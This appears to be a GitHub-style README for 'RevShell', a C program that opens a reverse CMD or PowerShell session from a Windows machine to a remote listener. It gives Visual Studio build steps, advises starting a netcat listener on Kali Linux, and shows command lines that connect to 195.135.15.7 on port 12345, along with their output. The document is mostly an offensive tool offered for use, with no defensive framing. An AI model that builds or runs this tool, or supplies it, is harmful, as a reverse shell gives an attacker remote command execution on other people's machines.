This is a simple C-based reverse shell used to open a CMD or PowerShell session from Windows to Linux/Windows/OSx.
- Open a reverse shell using cmd.exe
- Open a reverse shell using powershell.exe
- Download and install VisualStudio 2019 - Community Edition
- Clone this repository to a local folder
- Open the file "RevShell.sln"
- Press F6 to compile the code
- Enjoy :)
Before starting the executable make sure you have started a listener on your favorite (Linux) distribution. I use netcat on Kali Linux.
Open a CMD session
C:\RevShell> RevShell.exe 195.135.15.7 12345
[+] SELECTED SHELL: 0
[+] VALID IP ADDRESS: 195.135.15.7
[+] VALID IP PORT: 12345
Open a CMD session
C:\RevShell> RevShell.exe 195.135.15.7 12345 cmd
[+] SELECTED SHELL: 0
[+] VALID IP ADDRESS: 195.135.15.7
[+] VALID IP PORT: 12345
Open a PowerShell session
C:\RevShell> RevShell.exe 195.135.15.7 12345 powershell
[+] SELECTED SHELL: 1
[+] VALID IP ADDRESS: 195.135.15.7
[+] VALID IP PORT: 12345